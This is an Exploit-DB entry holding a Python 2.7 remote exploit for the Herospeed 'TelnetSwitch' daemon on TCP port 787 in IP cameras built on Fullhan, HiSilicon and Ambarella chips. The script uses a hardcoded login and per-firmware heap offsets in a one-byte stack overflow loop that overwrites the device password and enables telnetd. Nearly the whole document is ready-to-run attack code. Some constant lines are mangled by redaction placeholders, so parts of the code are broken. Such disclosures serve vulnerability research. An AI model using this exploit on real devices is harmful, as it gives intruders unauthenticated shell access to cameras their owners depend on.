Exploit-DB #43997
Description: Herospeed - 'TelnetSwitch' Remote Stack Overflow / Overwrite Password / Enable TelnetD
Type: remote
Platform: hardware
Date: 2018-01-22
Author: bashis

Exploit:
#!/usr/bin/env python2.7
#
# Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
# Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
#
# [Verified]
# 1) Fullhan IPC FH8830_F22_W_7.1.42.1
# 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
# 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
# 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
#
# Author: bashis <mcw noemail eu>, 2018
#
import socket
import select
import sys
import argparse
import base64
import struct
import time
#
# Validate correctness of HOST, IP and PORT
#
class Validate:

	def __init__(self,verbose):
		self.verbose = verbose

	# Check if IP is valid
	def CheckIP(self,IP):
		self.IP = IP

		ip = self.IP.split('.')
		if len(ip) != 4:
			return False
		for tmp in ip:
			if not tmp.isdigit():
				return False
			i = int(tmp)
			if i < 0 or i > 255:
				return False
		return True

	# Check if PORT is valid
	def Port(self,PORT):
		self.PORT = PORT

		if int(self.PORT) < 1 or int(self.PORT) > 65535:
			return False
		else:
			return True

	# Check if HOST is valid
	def Host(self,HOST):
		self.HOST = HOST

		try:
			# Check valid IP
			socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
			# Now we check if it is correct typed IP
			if self.CheckIP(self.HOST):
				return self.HOST
			else:
				return False
		except socket.error as e:
			# Else check valid DNS name, and use the IP address
			try:
				self.HOST = socket.gethostbyname(self.HOST)
				return self.HOST
			except socket.error as e:
				return False


if __name__ == "__main__":

	INFO =  '\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
	rhost = '192.168.57.20'	# Default Remote HOST
	rport = 787			# Default Remote PORT
	BUFFER_SIZE = 1024

	try:
		arg_parser = argparse.ArgumentParser(
		prog=sys.argv[0],
				description=('[*] '+ INFO +' [*]'))
		arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
		arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
		args = arg_parser.parse_args()
	except Exception as e:
		print INFO,"\nError: {}\n".format(str(e))
		sys.exit(1)

	print INFO
	if args.rport:
		rport = int(args.rport)

	if args.rhost:
		rhost = args.rhost
		IP = args.rhost

	# Check if RPORT is valid
	if not Validate(True).Port(rport):
		print "[!] Invalid RPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(True).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)

	timeout = 5
	socket.setdefaulttimeout(timeout)

	#
	# [Payload]
	#

	LOGIN = "Lucky787"		# Hardcoded login
	#
	# Fullhan IPC FH8830_F22_W_7.1.42.1
	# Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
	#
	PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n"	# Our new password, must be exactly 12 char, and must be '\n'
	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
	BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
	HEAP_[CREDENTIAL_REDACTED] # Start of the dynamicly generated password, located on heap

	#
	# HiSilicon 3518EV200_OV9732_W_7.1.25.1
	#
#	[CREDENTIAL_REDACTED]"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#	HEAP_[CREDENTIAL_REDACTED] # Start of the dynamicly generated password, located on heap

	#
	# HiSilicon 3519V100_IMX274_W_7.1.39.3
	#
#	[CREDENTIAL_REDACTED]"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#	HEAP_[CREDENTIAL_REDACTED] # Start of the dynamicly generated password, located on heap

	#
	# Ambarella s2l55m_imx123_W_7.1.25.2
	#
#	[CREDENTIAL_REDACTED]"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#	HEAP_[CREDENTIAL_REDACTED] # Start of the dynamicly generated password, located on heap

	#
	# Ambarella S2E66_IMX178_W_7.1.3.4
	#
#	[CREDENTIAL_REDACTED]"	# Our new password, must be exactly 12 char, and must be 'A'
#	MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#	BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
#	HEAP_[CREDENTIAL_REDACTED] # Start of the dynamicly generated password, located on heap

	MESSAGE = base64.b64encode(bytes(MESSAGE))
	MESSAGE += BASE64_NULL

	#
	# Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
	#
	for where in range(0, len(PASSWD)):
		OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
		print "Writing to: {}".format(hex(HEAP_PWD))
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((rhost, rport))
		s.send(OUT)
		time.sleep(0.5)
		response = s.recv(BUFFER_SIZE).split()
		HEAP_PWD += 0x1 # Next address on heap

		if response[1]:
			if response[1] == "200":
				print "({}) OK, telnetd should be open!".format(response[1])
				break